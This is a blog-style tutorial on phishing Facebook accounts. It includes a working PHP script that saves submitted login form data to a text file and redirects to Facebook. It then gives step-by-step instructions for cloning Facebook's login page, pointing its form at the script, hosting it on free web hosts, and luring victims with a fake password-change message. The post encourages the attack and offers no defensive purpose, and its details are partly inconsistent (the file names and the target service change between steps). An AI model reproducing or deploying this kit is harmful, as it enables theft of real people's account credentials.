2014-02-18

Way No. 1 - PHISHING ATTACK



Phishing is most easy and convinient way to hack a facebook account.

Follow below steps to know how to perform a phishing attack.

Files we will be creating:

1. Post.php
2. Index.htm

Step 1: Creating post.php file. First of all we need a PHP script which will collect all the form data. Copy the following code in a text editor (notepad) and save it as post.php

<?php
header ('Location:http://www.facebook.com/');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Step 2 : Creating index.htm page
Goto Facebook.com (without logging in) , Right click anywhere in the browser and choose view page source. Open the source code in a text editor (notepad).
Or right click on page and choose save page as and save page....then right click on saved page and choose open with notepad.

Step 3: Now a new window will pop-up where you can see all the HTML code in Notepad. We need to look for word action. Press CRTL+F and search for action. you will find link like this

action="https://www.facebook.com/

login.php?login_attempt=1"

Replace the link after action between the "...." with phishing.php like action="post.php" and save this page as index.htm (not index.html.txt).

Step 4: Create account on free hosting website like
http://www.000webhost.com/
http://www.t35.com/
http://www.freehostia.com/

Step 5: Now upload "post.php" & "index.htm" to the "facebook" folder you created inside "yourname.t35.com". So when you're done with the uploading part, the link to your gmail phisher is "www.yourname.t35.com/facebook/

index.htm".

Step 6: Send this link to the victim with any message like change your facebook password etc. If any body login on your fake page then his/her username and password stores on you free hosting website account in log.txt file.
So Enjoy Phishing.....

Note: Free hosting account may be deactivate after running this page for first time.

Any queries ???
Feel free to comment below

Show more